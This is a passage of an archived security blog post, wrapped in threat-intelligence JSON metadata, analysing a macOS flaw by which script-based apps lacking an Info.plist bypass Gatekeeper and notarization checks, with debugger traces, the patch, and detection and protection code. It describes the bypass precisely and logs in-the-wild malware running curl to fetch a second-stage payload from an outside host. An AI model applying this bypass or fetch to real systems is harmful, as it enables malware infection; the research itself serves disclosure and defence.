returns, it executes some code\r\nthat explicitly sets the R12 register to 0x1 (true). This is relevant as later this value is passed into the\r\nEvalutionResult object’s setAllowed’ method:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 39 of 57\n\n1;true\r\n2r12 = 0x1;\r\n3...\r\n4\r\n5[evalResult setAllowed:sign_extend_64(r12)];\r\nThis is the confirmation that the policy engine is indeed allowing our unsigned, unnotarized proof of concept\r\napplication!\r\nIn a debugger we can introspect this EvalutionResult object, which (as its name implies) represents the\r\nsystem’s policy evaluation result of our PoC.app :\r\nFirst note that before the call to setAllowed , all numeric values in the object are 0 (false):\r\n(lldb) po [$rdi className]\r\nEvaluationResult\r\n(lldb) po $rdi\r\nEvalResult: 0,0,0,0 - /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC\r\nAfter the call to setAllowed (and to setCacheResult ), the EvaluationResult object is updated:\r\n(lldb) po [$rdi className]\r\nEvaluationResult\r\n(lldb) po $rdi\r\nEvalResult: 1,1,0,0 - /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC\r\n(lldb) p (BOOL)[$rdi allowed]\r\n(BOOL) $83 = YES\r\n(lldb) p (BOOL)[$rdi wouldPrompt]\r\n(BOOL) $82 = NO\r\n(lldb) p (BOOL)[$rdi didPrompt]\r\n(BOOL) $84 = NO\r\n(lldb) po [$rdi evaluationTargetPath]\r\n/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC\r\nNote that the allowed instance variable is set to 1 (YES/true), while wouldPrompt and didPrompt are both set\r\nto 0 (NO/false) …as a result the system decided that no prompt was needed!\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 40 of 57\n\nOnce the evaluation has completed (though no prompt was shown), the completion block (initial pass to the\r\nevaluateCodeForUser:withPID:withProcessPath: ... withCompletionCallback: method) is invoked.\r\nThe completion callback block first invokes the EvaluationResult ’s allowed method to see if the the\r\nevaluation was allowed.\r\n1if ([rax allowed] != 0x0) goto wasAllowed;\r\nNote that if evaluation resulted in not allowed, the following code path is taken, which (as expected) terminates\r\nthe suspended process:\r\n1//not allowed logic\r\n2\r\n3...\r\n4os_log_error_impl(__mh_execute_header, rsi, 0x10, \"Terminating process due to Gatekeeper rejection: %d, %@\", \u0026v\r\n5\r\n6terminate_with_reason(*(int32_t *)(r13 + 0x48), 0x9, 0x8, \"Gatekeeper policy blocked execution\", 0x41);\r\nFor example, running the “normal” script-based application ( Script.app ) which is blocked, triggers this call\r\nafter the alert is shown:\r\n(lldb)\r\nProcess 138 stopped\r\n-\u003e 0x10595b514 \u003c+183\u003e: callq 0x1059adc84 ; symbol stub for: terminate_with_reason\r\n(lldb) po $rdi\r\n7938\r\n(lldb) x/s $rcx\r\n0x1059c4b4c: \"Gatekeeper policy blocked execution\"\r\nIn the above debugger output, the first argument ( 7938 passed in via the RDI register), is the process id for the\r\nprocess to terminated. For example, the Script.app (albeit run via /bin/sh ):\r\n% ps -p 7938\r\nPID CMD\r\n7938 /bin/sh /private/var/folders/pw/sv96s36d0qgc_6jh45jqmrmr0000gn/T/AppTranslocation/3FF7B408-AC64-\r\nHowever, as our proof of concept was allowed(!), we take the jump, and invoke the ExecManagerService ’s\r\nsendEvaluationResult:forEvaluationID: passing in the EvaluationResult object and an evaluation ID (in this\r\ninstance the value is 599).\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 41 of 57\n\nInterestingly, the sendEvaluationResult:forEvaluationID: calls into the kernel via an IOConnectCallMethod\r\ncall!\r\nStepping over this the IOConnectCallMethod calls results in two things\r\n1. The suspended process under evaluation (e.g. our proof of concept application) is resumed.\r\n2. The following messages are logged:\r\nkernel: (AppleSystemPolicy) Waking up reference: 599\r\nkernel: (AppleSystemPolicy) Thread waiting on reference 599 woke up\r\nkernel: (AppleSystemPolicy) evaluation result: 599, allowed, cache, 1618125792\r\nThe log messages contain the evaluation ID (599), and indicate the suspended evaluee process (main thread?) was\r\nwoken up and allowed (to resume). This means our PoC is finally free to merrily go on its way!\r\nThe kernel extension (kext) that generates these log messages is AppleSystemPolicy.kext . As noted by Scott\r\nKnight, this is “the …client of the syspolicyd MIG service”. In other words, it interacts w/ syspolicyd for\r\nexample waiting on evaluations and resuming (allowed) processes.\r\nLooking for cross-references to such log messages as well as dumping symbols and method names provides\r\ninsight into AppleSystemPolicy.kext\r\n% nm -C /System/Library/Extensions/AppleSystemPolicy.kext/Contents/MacOS/AppleSystemPolicy\r\nWAITING_ON_APPROVAL_FROM_SYSPOLICYD__(syspolicyd_evaluation*)\r\nREVOKED_PROCESS_WAITING_ON_TERMINATION__(lck_mtx_t*)\r\nAppleSystemPolicy::waitForEvaluation(syspolicyd_evaluation*, int, ASPEvaluationInfo*, vnode**, ScanMe\r\nAppleSystemPolicy::procNotifyExecComplete(proc*);\r\nASPEvaluationManager::waitOnEvaluation(syspolicyd_evaluation*);\r\nASPEvaluationManager::wakeupEvaluationByID(long long, syspolicyd_evaluation_results*);\r\nFurther discussion of this kext is outside the scope of the blog post (and is not relevant to the underlying bug).\r\nA Recap\r\nIf you’ve made it this far, kudos! Spelunking through macOS’s system policy engine is no easy task! Before we\r\ndive into in-the wild exploitation, and protections \u0026 detections, let’s briefly recap the bug. In a sentence:\r\nAny script-based application that does not contain an Info.plist file will be misclassified as “not a bundle” and\r\nthus will be allowed to execute with no alerts nor prompts.\r\nLet’s break this down piece by piece:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 42 of 57\n\n1. A script-based application is an application whose main executable component is a (bash/python/etc)\r\nscript. It is imperative that it is a script, for several reasons. First, if the main executable component is a\r\nmach-O binary unless it is fully notarized, it will (still) be rejected (blocked) by the system, as mach-O\r\nbinaries are always checked. And even if the mach-O binary is notarized it will result in the File\r\nQuarantine, “…is an application …are you sure you want to open it” prompt.\r\nA script-based application is executed (as we saw) via the shell, /bin/sh which is a trusted, platform binary.\r\nNormally though script-based applications are also blocked (unless the entire bundle is signed and notarized).\r\nHowever due to the bug this is not the case, meaning the script’s contents (commands) are allowed.\r\n2. An application that does not contain an Info.plist file. This is similarly imperative as even “normal”\r\nscript-based applications are subjected to policy checks. If a script-based application contains an\r\nInfo.plist file, it will be (correctly) classified as a bundle, and as such will be blocked (unless the entire\r\nbundle is signed and notarized). And even in the case when it is signed and notarized, a File Quarantine\r\nprompt will be shown that requires explicit user approval.\r\n3. A script-based application without an Info.plist file will be misclassified as “not a bundle”. This results\r\nin an evaluation type of 0x2, which causes logic in the system policy engine to both skip showing any\r\nprompts or alerts and explicitly setting an allowed flag to true.\r\nEnd result, such an application, though unsigned, unnotarized, and quarantined, is allowed to execute without a\r\nsingle alert! 🥲\r\nIn the Wild\r\nWith a solid understanding of the flaw, I reached out to my good friends at Jamf, and simply inquired if they had\r\nseen any script-based malware packaged up in application bundles. While we’ve seen malware in the past shipped\r\nas scripts in normal application bundles (i.e. with an Info.plist file) I was skeptical we’d find any exploiting\r\nthis specific flaw.\r\nJamf (via their Jamf Protect product), already flags script-based malware that’s packaged up in an application\r\nbundles, simply, as we noted, such malware (in normal application bundles) is rather common.\r\nWell, turns out they were able to confirm via Jamf Protect there was a new variant of malware that was uniquely\r\npackaged as a bare-boned script based application.\"\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 43 of 57\n\nA bare-boned script-based application, found it the wild!\r\nIn other words, there’s malware exploiting this exact flaw …as an 0day …in the wild. Yikes!\r\nAs shown below, though unsigned (and unnotarized) the malware ( 1302.app/Contents/MacOS/1302 ) is able to\r\nrun (and download \u0026 execute 2nd-stage payloads), bypassing all File Quarantine, Gatekeeper, and Notarization\r\nrequirements:\r\n# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty\r\n...\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"arguments\" : [\r\n \"/bin/bash\",\r\n \"/private/var/folders/zg/lhlpqsq14lz_ddcq3vx0r5xm0000gn/T\r\n /AppTranslocation/E486DA04-D4EC-41C4-8250-F587586DA4F7/d\r\n /1302.app/Contents/MacOS/1302\"\r\n ],\r\n \"name\" : \"bash\",\r\n \"pid\" : 770\r\n }\r\n}\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"arguments\" : [\r\n \"curl\",\r\n \"-L\",\r\n \"https://bbuseruploads.s3.amazonaws.com/\r\n c237a8d2-0423-4819-8ddf-492e6852c6f7/downloads/\r\n c9a2dac9-382a-42f6-873b-8bf8d5beafe5/d9o\"\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 44 of 57\n\n],\r\n \"ppid\" : 884,\r\n \"name\" : \"curl\",\r\n \"pid\" : 885\r\n }\r\n}\r\nOnce off and running, the malware can manually remove the quarantine attribute from any subsequent payloads or\r\ncomponents it downloads. Thus, such items will not be subjected to the aforementioned security checks\r\n(notarization, etc.).\r\nLuckily as discussed below, BlockBlock with “Notarized Mode” enabled, generically blocks this threat:\r\nBlockBlock, block blocking!\r\nThe Patch\r\nApple fixed this bug in macOS 11.3. How? Well recall that the core flaw is in the misclassification of a bare-boned script-based application as “not a bundle”. As normal script-based application (i.e. ones with an\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 45 of 57\n\nInfo.plist file) are classified as a bundle, and trigger the correct alerting/prompting/blocking logic, it seemed\r\nreasonable to assume that Apple would address the flaw simply in the bundle classification logic.\r\n…and this appears to be exactly the case.\r\nThough the bundle classification logic is located in an unnamed subroutine, it’s trivial to locate it in the new\r\nmacOS 11.3 syspolicyd binary. We simply look for cross-references to unique strings (e.g.\r\nVersions/Current/Resources/Info.plist ) that are found in the unnamed subroutine in the 11.2 version of\r\nsyspolicyd .\r\nOnce we locate the “same” subroutine in 11.3, we first notice it has been greatly expanded. In fact, the number of\r\ncode blocks (that indicate control flow decisions) has expanded from 26 up to 35. Clearly, additional checks were\r\nadded. Though we won’t comprehensively deconstruct the entire (updated) algorithm, via static analysis, we can\r\npoint out some relevant new checks that are responsible for (now) correctly classifying even applications that\r\ndon’t have Info.plist files!\r\nFirst (and most significantly) there is now a check for a path extension of .app …and any item with said\r\nextension, will now be correctly classified as a bundle:\r\n1pathExtension = [[component pathExtension] lowercaseString];\r\n2isBundle = [rax isEqualToString:@\"app\"];\r\nThis is important, as this is essentially the only check Finder performs when kicking off the launch of an\r\napplication. (Recall we created a folder named foo.app double-clicked it, and observed Finder attempting to\r\nlaunch it).\r\nAlso, even if the item does not contain a path component of .app , the new code now checks for presence of\r\nContents/MacOS :\r\n1bundle = [component URLByAppendingPathComponent:@\"Contents/MacOS\"];\r\n2isBundle = doesFileExist(bundle.path);\r\nMy guess is macOS likely requires (any, even non-application) bundles to conform to this structure for\r\nfunctionality reasons. This is makes sense that the “is a bundle” classification algorithm also now checks for\r\nstructure as well.\r\nThe improved algorithm now correctly classifies our bare-bones script-based PoC application as a bundle. This\r\nmeans it’s now subjected to code paths within syspolicyd that will both display an alert to the user as well as\r\nblock the application from running (as it is not notarized).\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 46 of 57\n\n(correctly) blocked on macOS 11.3\r\nWas this all that was required? It appears so, as a (very) brief triage of other logic within the syspolicyd code,\r\ndid not reveal any notable changes.\r\nProtections:\r\nFirst and foremost the best way to patch against this nasty bug and protect oneself from malware that is currently\r\nexploiting it, is to update to macOS 11.3. Like now! Go do it!\r\nLuckily, if you were running a recent version of BlockBlock (with “Notarization Mode” enabled), you were\r\nalready protected! 🙌🏽\r\nVersion 2.0 of BlockBlock brought a host of improvements, such as native M1 compatibility. Most relevant in the\r\ncontext of today’s blog post though, was the introduction of “Notarization Mode”:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 47 of 57\n\nBlockBlock's Preferences (including Notarization Mode)\r\nThe idea is simple: regardless of the system policy setting (or presence of bugs), BlockBlock examines launched\r\nprocesses (and scripts), and alerts on those that are not notarized. By design there are a few caveats including the\r\nfact that BlockBlock only examines user-launched applications, that have been downloaded from the Internet.\r\nLet’s delve into BlockBlock logic a bit more here:\r\n1. By means of the Endpoint Security Framework, BlockBlock registers an authentication callback\r\n( ES_EVENT_TYPE_AUTH_EXEC ) for any new processes:\r\n 1//endpoint (process) client\r\n 2@property es_client_t* endpointProcessClient;\r\n 3\r\n 4...\r\n 5\r\n 6//events\r\n 7es_event_type_t procEvents[] = {ES_EVENT_TYPE_AUTH_EXEC};\r\n 8\r\n 9//new client\r\n10// callback will process `ES_EVENT_TYPE_AUTH_EXEC` events\r\n11es_new_client(\u0026endpointProcessClient, ^(es_client_t *client, const es_message_t *message)\r\n12{\r\n13 //TODO process event\r\n14}\r\n15\r\n16//subscribe\r\n17es_subscribe(endpointProcessClient, procEvents, sizeof(events)/sizeof(procEvents[0]))\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 48 of 57\n\n2. When a ES_EVENT_TYPE_AUTH_EXEC event occurs (i.e. when a process has been launched, but before it is\r\nallowed to execute), BlockBlock examines either the process, or if it’s a process executing a script (e.g.\r\n/bin/sh ) the script. Specifically after confirming the item (process or script) is running from a\r\ntranslocated location (which means it’s been quarantined, and launched by the user), it checks if it’s been\r\nnotarized.\r\nTo check if an item has been translocated, one can invoke the private SecTranslocateIsTranslocatedURL API.\r\nWhereas to check if an item is notarized, invoke the SecStaticCodeCheckValidity API with a\r\nSecRequirementRef set to “notarized”:\r\n1SecStaticCodeRef staticCode = NULL;\r\n2static SecRequirementRef isNotarized = nil;\r\n3\r\n4SecStaticCodeCreateWithPath(itemPath, kSecCSDefaultFlags, \u0026staticCode);\r\n5SecRequirementCreateWithString(CFSTR(\"notarized\"), kSecCSDefaultFlags, \u0026isNotarized);\r\n6\r\n7SecStaticCodeCheckValidity(staticCode, kSecCSDefaultFlags, isNotarized);\r\n3. If the item being launched is translocated and non-notarized, BlockBlock will alert the user, giving them\r\nthe option to confirm or allow. For example, here’s the detection and alert when attempting to run our PoC\r\napplication:\r\nBlockBlock, block blocking!\r\nIn the above alert, though macOS (inadvertently) will allow the script to run, BlockBlock has detected it is non-notarized script, and thus should (likely) be blocked. Though of course, the user is given the option to allow.\r\nTo learn more about, or to install BlockBlock, hop over to its page: BlockBlock. It’s 100% free!\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 49 of 57\n\nBlockBlock is also fully open-source, so you can peruse its source code as well: Source Code.\r\nDetections\r\nI've written a proof of concept Python script to scan for (past) exploitation attempts:\r\nscan.py\r\nWhat about (past) detections?\r\nAs it appears that this bug has been around since macOS 10.15 (2019), I thought it might be interesting to explore\r\nsome ideas of detecting past abuses (…for example malware exploiting it in the wild).\r\nFirst, recall that we ran three different applications and analyzed their log messages as an initial step in attempting\r\nto (somewhat) pinpoint the bug’s location. For the PoC application (and only for the PoC application), after its\r\n(Gatekeeper) evaluation, we saw the following log message:\r\n“ syspolicyd: [com.apple.syspolicy.exec:default] Updating flags:\r\n/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC, 512 ”\r\nThis log message is printed as part of the code path that (inadvertently) allowed the unsigned, unnotarized PoC\r\napplication:\r\n1os_log_impl(__mh_execute_header, r15, 0x1, \"Updating flags: %@, %lu\", \u0026var_70, 0x16);\r\n2\r\n3\r\n4[*(var_E8 + 0x8) updateFlags:rbx forTarget:var_A0];\r\nAs shown in the above code, immediately after the message is logged, syspolicyd invokes a method named\r\nupdateFlags: forTarget: .\r\nThis method belongs to the ExecManagerDatabase call, and is invoked with the flags and the PolicyScanTarget\r\nobject representing the evaluee.\r\nTriaging the ExecManagerDatabase ’s updateFlags: forTarget: method reveals an SQL update statement:\r\n@\"UPDATE policy_scan_cache SET flags = ?1 WHERE volume_uuid = ?2 AND object_id = ?3 AND fs_type_name\r\n= ?4\";\r\n…and a call into an executeQuery: withBind: withResults method (that executes the SQL query via various\r\nsqlite3_* APIs).\r\nIn order to find out what database is updated we can run a file monitor such as macOS’s built-in fs_usage\r\nutility:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 50 of 57\n\n# fs_usage -w -f filesystem | grep syspolicyd\r\n...\r\nRdData[S] D=0x052fdb4a B=0x1000 /dev/disk1s1 /private/var/db/SystemPolicyConfiguration/ExecPolicy-\r\n# file /private/var/db/SystemPolicyConfiguration/ExecPolicy*\r\n/private/var/db/SystemPolicyConfiguration/ExecPolicy: SQLite 3.x database\r\n/private/var/db/SystemPolicyConfiguration/ExecPolicy-shm: data\r\n/private/var/db/SystemPolicyConfiguration/ExecPolicy-wal: SQLite Write-Ahead Log\r\nThis reveals an aptly-named database being updated: /private/var/db/SystemPolicyConfiguration/ExecPolicy\r\nIf we take a peek at the undocumented policy_scan_cache table in this ExecPolicy database, we can see\r\nevaluation results …of many (every?) item that has been scanned!\r\nEvaluated items in the policy_scan_cache table\r\nUnfortunately the data in the policy_scan_cache table does not contain the path to the evaluated item. However,\r\nit turns out the object_id column contains the inode of the item (on the volume identified in the volume_uuid\r\ncolumn).\r\nWe can confirm this by looking for our PoC.app . First, we get its inode (via the stat command):\r\n% stat ~/Downloads/PoC.app/Contents/MacOS/PoC\r\n16777220 121493800 ... /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC\r\nArmed with its inode ( 121493800 ), let’s query the ExecPolicy database:\r\n# sqlite3 ExecPolicy\r\nsqlite\u003e .headers on\r\nsqlite\u003e SELECT * FROM policy_scan_cache WHERE object_id = 121493800;\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 51 of 57\n\npk|volume_uuid|object_id|fs_type_name|bundle_id|cdhash|team_identifier|signing_identifier|policy_matc\r\n15949|0612A910-2C3C-4B72-9C90-1ED71F3070C3|121493800|apfs|NOT_A_BUNDLE||||7|0|512|1618194723|16181947\r\nPerfect, this confirms that the systems evaluation results of our PoC application was in fact logged to the\r\nExecPolicy database.\r\nLet’s now select all items that have similar values to what we saw in the logs, such as flags of 512 (we’ll also\r\nadd a few other constraints such as NOT_A_BUNDLE ):\r\nSELECT * FROM policy_scan_cache WHERE flags = 512 AND bundle_id = 'NOT_A_BUNDLE' AND policy_match = 7; Result:\r\n…still a lot. But many are simply legitimate utilities that you’ve downloaded and approved on your system (and\r\nthus can be ignored). For example, on my box there is a row containing the object_id (inode) value of\r\n23503887 . This maps to supraudit , an unsigned audit utility (created by J. Levin) that I had previously\r\ndownloaded and manually approved/ran:\r\n$ stat /usr/local/bin/supraudit\r\n16777220 23503887 /usr/local/bin/supraudit\r\nArmed with this knowledge we can perhaps uncover successful exploitations of this bug in the following manner:\r\n1. Enumerate the rows in the policy_scan_cache table, filtering on ones that (the policy engine thought\r\nwere) not a bundle, have flag value of 0x200 (512).\r\n2. For each result, take its volume_uuid and object_id value. The latter is really the item’s (evaluee’s)\r\ninode number.\r\n3. Find the item on the matching volume, via this inode value. How? Well after reading Howard Oakley’s\r\n“Open Recent, inodes, and Bookmarks: How macOS remembers files” I learned the GetFileInfo utility\r\n(found in /usr/bin/ ) can, given a volume and file inode , return the file’s path:\r\nGetFileInfo /.vol/\u003cvolume inode\u003e/\u003cfile inode\u003e\r\n4. In the policy_scan_cache table we noted there are many legitimate applications and utilities (that you’ve\r\ndownload and approved to run on your system). As such, we need to parse through each item (that we’ve\r\nfound via its inode), to check if it’s a suspicious bare-bones script-based application. Specifically we can\r\nlook for a items with:\r\na. An *.app in its path.\r\nb. A /Contents/MacOS/ subdirectory.\r\nc. An item (within the Contents/MacOS/ subdirectory) that matches the app’s name and is a script.\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 52 of 57\n\nd. Does not contain an Info.plist file.\r\nFind such an item, you’ve more than likely got a malicious item …or at least one that you should take a very close\r\nlook at! 👀\r\nLet’s look at an example, using the malware that was exploiting this vulnerability as an 0day.\r\nAfter running the malware, we notice a new entry in the\r\n/private/var/db/SystemPolicyConfiguration/ExecPolicy database:\r\n# sqlite3 /private/var/db/SystemPolicyConfiguration/ExecPolicy\r\nsqlite\u003e SELECT * FROM policy_scan_cache WHERE flags = 512 AND bundle_id = 'NOT_A_BUNDLE' AND pk=(SELE\r\npk|volume_uuid|object_id|fs_type_name|bundle_id|cdhash|team_identifier|signing_identifier|policy_matc\r\n77|0A81F3B1-51D9-3335-B3E3-169C3640360D|12885173338|apfs|NOT_A_BUNDLE||||7|0|512|1618359929|161835992\r\nWe then extract the value of the object_id , 12885173338 , (which recall is the file’s inode ), and use that to\r\nlocate the file on disk.\r\n# get volume's inode\r\n% stat /\r\n16777220 2 drwxr-xr-x 20 root wheel ...\r\n# get file's (inode: 12885173338) path\r\n% GetFileInfo /.vol/16777220/12885173338\r\nfile: \"/Users/user/Downloads/yWnBJLaF/1302.app\"\r\n...\r\n# its not signed\r\n% codesign -dvvv 1302.app\r\n1302.app: code object is not signed at all\r\n# is a bare-boned application bundle\r\n% find /Users/user/Downloads/yWnBJLaF/1302.app\r\n1302.app/Contents\r\n1302.app/Contents/MacOS\r\n1302.app/Contents/MacOS/1302\r\n# who's executable component, is a script\r\n% file 1302.app/Contents/MacOS/1302\r\n1302.app/Contents/MacOS/1302: Bourne-Again shell script executable (binary data)\r\nNote that once the file has been located, (in the terminal output above) we confirm it’s an unsigned, bare-boned\r\n(no Info.plist ) script-based application! Clearly fits the profile of an item exploiting this bug.\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 53 of 57\n\nTo automate the detection of such (potentially) malicious applications (on the main volume) I’ve created a simple\r\nPython script: scan.py . This script programmatically queries the ExecPolicy database, then processes the\r\nresults in order to locate any script-based applications (without an Info.plist file) that have been run\r\n 1...\r\n 2\r\n 3query = \"SELECT * FROM policy_scan_cache WHERE volume_uuid = '\" + volUUID + \"' AND flags = 512 AND bundle_id =\r\n 4\r\n 5connection = sqlite3.connect(\"/private/var/db/SystemPolicyConfiguration/ExecPolicy\")\r\n 6items = execute_read_query(connection, query)\r\n 7\r\n 8#scan/parse all items\r\n 9# looking for file on main volume that\r\n10# a) is an app bundle\r\n11# b) is a script-based app bundle\r\n12# c) is a script-based app bundle, without an Info.plist file\r\n13for item in items:\r\n14\r\n15 #get file path from vol \u0026 file inode\r\n16 fileURL = Foundation.NSURL.fileURLWithPath_('/.vol/' + str(volInode) + '/' + str(item[2]))\r\n17 result, file, error = fileURL.getResourceValue_forKey_error_(None, \"NSURLCanonicalPathKey\", None)\r\n18\r\n19 ...\r\n# python scan.py\r\nvolume inode: 16777220\r\nvolume uuid: 0A81F3B1-51D9-3335-B3E3-169C3640360D\r\nopened 'ExecPolicy' database\r\nextracted 183 evaluated items\r\npossible malicious application: /Users/user/Downloads/yWnBJLaF/1302.app\r\ndetected 1 possible malicious applications\r\nIf the item (malware) is run off a disk image, the system will copy it off the .dmg to translocate the item before its\r\nevaluated. The entry in the database will therefore reference the translocated item. Unfortunately translocated\r\nitems are automatically deleted by the system.\r\nAs such, the object_id (inode) may reference a file that no longer exists :/\r\nConclusions\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 54 of 57\n\nThe vast, vast, majority of macOS malware requires some user interaction (such as directly running the actual\r\nmalicious code) in order to infect a macOS system. Unfortunately such macOS malware still abounds and\r\neveryday countless Mac users are infected.\r\nSince 2007, Apple has sought to protect users from inadvertently infecting themselves if they are tricked into\r\nrunning such malicious code. This is a good thing as sure, users may be naive, but anybody can make a mistakes.\r\nMoreover such protections (specifically notarization requirements) may now even protect users from advanced\r\nsupply-chain attacks …and more!\r\nUnfortunately due to subtle logic flaw in macOS, such security mechanisms were proven fully and 100% moot,\r\nand as such we’re basically back to square one …(well, more precisely pre-2007). Yikes!\r\nIn this blog post, we started with an unsigned, unnotarized, script-based proof of concept application that could\r\ntrivially and reliably sidestep all of macOS’s relevant security mechanisms (File Quarantine, Gatekeeper, and\r\nNotarization Requirements) …even on a fully patched M1 macOS system. Armed with such a capability macOS\r\nmalware authors could (and are) returning to their proven methods of targeting and infecting macOS users. Yikes\r\nagain!\r\nThe core of the blog post dug deep into the policy internals of macOS, ultimately revealing a subtle logic flaw. A\r\nshown, this flaw can result in the misclassification of certain applications, and thus would cause the policy engine\r\nto skip essential security logic such as alerting the user and blocking the untrusted application.\r\nAfter reversing Apple’s update, we highlighted the patch, noting how the classification algorithm was improved.\r\nThis will now result in the correct classification of applications (as bundles), and ensure that untrusted,\r\nunnotarized applications will (yet again) be blocked, and thus the user protected.\r\n(correctly) blocked on macOS 11.3\r\nFinally, we wrapped things up first with a brief discussion on protections, most notably highlighting the fact that\r\nBlockBlock already provides sufficient protections …beating out Cupertino ;)\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 55 of 57\n\nBlockBlock, block blocking!\r\nInterested in enterprise grade protection?\r\nAs noted, Jamf Protect already contains detection logic for such threats, and thus was able to uncover malware\r\nexploiting this flaw as a 0day!\r\nThen, we discussed a novel idea aimed at detecting attacks that exploit this flaw, by examining evaluation results\r\nlogged to the (undocumented) ExecPolicy database.\r\nTo end, a few thoughts…\r\nThough this bug is now patched, it clearly (yet again) illustrates that macOS is not impervious to incredible\r\nshallow, yet hugely impactful flaws. How shallow? Well that fact that a legitimate developer tool (appify) would\r\ninadvertently trigger the bug is beyond laughable (and sad).\r\nAnd how impactful? Basically macOS security (in the context of evaluating user launched applications, which\r\nrecall, accounts for the vast majority of macOS infections) was made wholly moot.\r\nGood thing there are free open-source security tools that can offer an extra (better?) layer of protection!\r\nAnd maybe one day Apple will stop suing security companies, and instead focus solely on improving the security\r\nof their OS.\r\n…hey, we can all dream, right?!\r\n💕 Support Me:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 56 of 57\n\nLove these blog posts? You can support them via my Patreon page!\r\nSource: https://objective-see.com/blog/blog_0x64.html\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 57 of 57",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x64.html"
	],
	"report_names": [
		"blog_0x64.html"
	],
	"threat_actors": [
		{
			"id": "aa73cd6a-868c-4ae4-a5b2-7cb2c5ad1e9d",
			"created_at": "2022-10-25T16:07:24.139848Z",
			"updated_at": "2026-04-10T02:00:04.878798Z",
			"deleted_at": null,
			"main_name": "Safe",
			"aliases": [],
			"source_name": "ETDA:Safe",
			"tools": [
				"DebugView",
				"LZ77",
				"OpenDoc",
				"SafeDisk",
				"TypeConfig",
				"UPXShell",
				"UsbDoc",
				"UsbExe"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434360,
	"ts_updated_at": 1775791833,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/bfcc32ff0de540d57dd22ca664a6fcb5027ab6d9.pdf",
		"text": "https://archive.orkl.eu/bfcc32ff0de540d57dd22ca664a6fcb5027ab6d9.txt",
		"img": "https://archive.orkl.eu/bfcc32ff0de540d57dd22ca664a6fcb5027ab6d9.jpg"
	}
}